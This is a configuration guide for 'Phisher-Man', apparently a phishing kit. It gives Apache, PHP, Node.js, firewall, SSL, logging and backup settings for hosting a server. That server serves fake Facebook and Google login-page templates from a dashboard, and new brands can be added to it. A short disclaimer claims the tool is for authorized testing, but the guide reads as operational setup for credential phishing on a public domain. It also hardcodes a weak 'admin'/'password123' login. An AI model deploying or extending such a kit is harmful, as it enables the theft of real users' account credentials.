Configuration Guide
DISCLAIMER
IMPORTANT: This tool is for educational purposes and authorized testing only.
Use only on systems you own or have explicit permission to test.
Apache2 Configuration
Main Configuration File
Location: /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Enable Required Modules
Enable the necessary Apache modules for full functionality:
# Enable PHP support
sudo a2enmod php
# Enable rewrite module
sudo a2enmod rewrite
# Enable headers module
sudo a2enmod headers
# Restart Apache
sudo systemctl restart apache2
PHP Configuration
Location: /etc/php/8.1/apache2/php.ini
Key settings for optimal performance and security:
# File uploads
file_uploads = On
upload_max_filesize = 2M
max_file_uploads = 20
# Error reporting
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
# Session settings
session.cookie_httponly = 1
session.use_strict_mode = 1
Server Configuration
Port Configuration
File: server.js
// Default port
const PORT = process.env.PORT || 5000;
// Custom port
const PORT = 8080;
IP Address Configuration
File: server.js
// Local IP (hardcoded)
function getLocalIPAddress() {
return '127.0.0.1';
}
// Public IP detection
function getPublicIPAddress() {
const interfaces = os.networkInterfaces();
// Priority: 192.168.x.x addresses
for (const name of Object.keys(interfaces)) {
for (const interface of interfaces[name]) {
if (interface.family === 'IPv4' &&
!interface.internal &&
interface.address.startsWith('192.168.')) {
return interface.address;
}
}
}
// Fallback: any non-internal IPv4
for (const name of Object.keys(interfaces)) {
for (const interface of interfaces[name]) {
if (interface.family === 'IPv4' && !interface.internal) {
return interface.address;
}
}
}
return '127.0.0.1';
}
Template Configuration
File: server.js
- Dashboard endpoint
app.get('/api/dashboard', (req, res) => {
const templates = [
{
id: 'facebook',
name: 'Facebook',
logo: '/static/logos/facebook.jpg',
description: 'Facebook Login Page'
},
{
id: 'google',
name: 'Google',
logo: '/static/logos/google.jpg',
description: 'Google Login Page'
},
// Add new templates here
];
res.json({ templates });
});
Environment Variables
Create .env file
Create a new environment configuration file:
# Create environment file
touch .env
Environment Variables
Configure your environment variables in the .env file:
# Server configuration
PORT=5000
NODE_ENV=production
# Apache configuration
APACHE_DOCUMENT_ROOT=/var/www/html
APACHE_USER=www-data
APACHE_GROUP=www-data
# Security
SESSION_SECRET=your-secret-key
ENCRYPTION_KEY=your-encryption-key
# Logging
LOG_LEVEL=info
LOG_FILE=/var/log/phisher-man.log
Load Environment Variables
File: server.js
// Load environment variables
require('dotenv').config();
// Use environment variables
const PORT = process.env.PORT || 5000;
const APACHE_ROOT = process.env.APACHE_DOCUMENT_ROOT || '/var/www/html';
Security Configuration
Firewall Setup
Configure UFW firewall for secure access:
# Enable UFW
sudo ufw enable
# Allow SSH
sudo ufw allow ssh
# Allow HTTP
sudo ufw allow 80
# Allow custom port
sudo ufw allow 5000
# Check status
sudo ufw status
SSL/TLS Configuration
Set up SSL certificates for secure HTTPS connections:
# Install Certbot
sudo apt install certbot python3-certbot-apache
# Get SSL certificate
sudo certbot --apache -d yourdomain.com
# Auto-renewal
sudo crontab -e
# Add: 0 12 * * * /usr/bin/certbot renew --quiet
Access Control
File: server.js
// Basic authentication middleware
const basicAuth = require('express-basic-auth');
app.use(basicAuth({
users: { 'admin': 'password123' },
challenge: true,
realm: 'Phisher-Man Dashboard'
}));
Logging Configuration
Apache Logs
Location: /etc/apache2/apache2.conf
# Error log
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
# Access log
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
CustomLog ${APACHE_LOG_DIR}/access.log combined
Application Logs
File: server.js
const fs = require('fs');
const path = require('path');
// Log function
function logMessage(level, message) {
const timestamp = new Date().toISOString();
const logEntry = `[${timestamp}] ${level.toUpperCase()}: ${message}\n`;
// Console output
console.log(logEntry.trim());
// File output
const logFile = path.join(__dirname, 'logs', 'server.log');
fs.appendFileSync(logFile, logEntry);
}
// Usage
logMessage('info', 'Server started');
logMessage('error', 'Deployment failed');
Log Rotation
File: /etc/logrotate.d/phisher-man
/var/log/phisher-man.log {
daily
missingok
rotate 7
compress
delaycompress
notifempty
create 644 www-data www-data
postrotate
systemctl reload apache2
endscript
}
Performance Configuration
Node.js Optimization
File: server.js
// Increase memory limit
process.setMaxListeners(0);
// Enable compression
const compression = require('compression');
app.use(compression());
// Set cache headers
app.use((req, res, next) => {
res.set('Cache-Control', 'public, max-age=3600');
next();
});
Apache Optimization
File: /etc/apache2/mods-available/mpm_prefork.conf
<IfModule mpm_prefork_module>
StartServers 5
MinSpareServers 5
MaxSpareServers 10
MaxRequestWorkers 150
MaxConnectionsPerChild 0
</IfModule>
Backup Configuration
Automated Backups
File: backup.sh
#!/bin/bash
# Backup script
BACKUP_DIR="/backup/phisher-man"
DATE=$(date +%Y%m%d_%H%M%S)
# Create backup directory
mkdir -p $BACKUP_DIR
# Backup application
tar -czf $BACKUP_DIR/phisher-man_$DATE.tar.gz \
/home/iddox/Desktop/Phisher-man-react
# Backup Apache configuration
cp /etc/apache2/sites-available/000-default.conf \
$BACKUP_DIR/apache_config_$DATE.conf
# Backup logs
cp -r /var/www/html $BACKUP_DIR/html_$DATE
# Clean old backups (keep 7 days)
find $BACKUP_DIR -name "*.tar.gz" -mtime +7 -delete
Schedule Backups
Set up automated daily backups using cron:
# Add to crontab
sudo crontab -e
# Daily backup at 2 AM
0 2 * * * /path/to/backup.sh
For advanced configuration help, visit our Discord: https://discord.gg/KcuMUUAP5T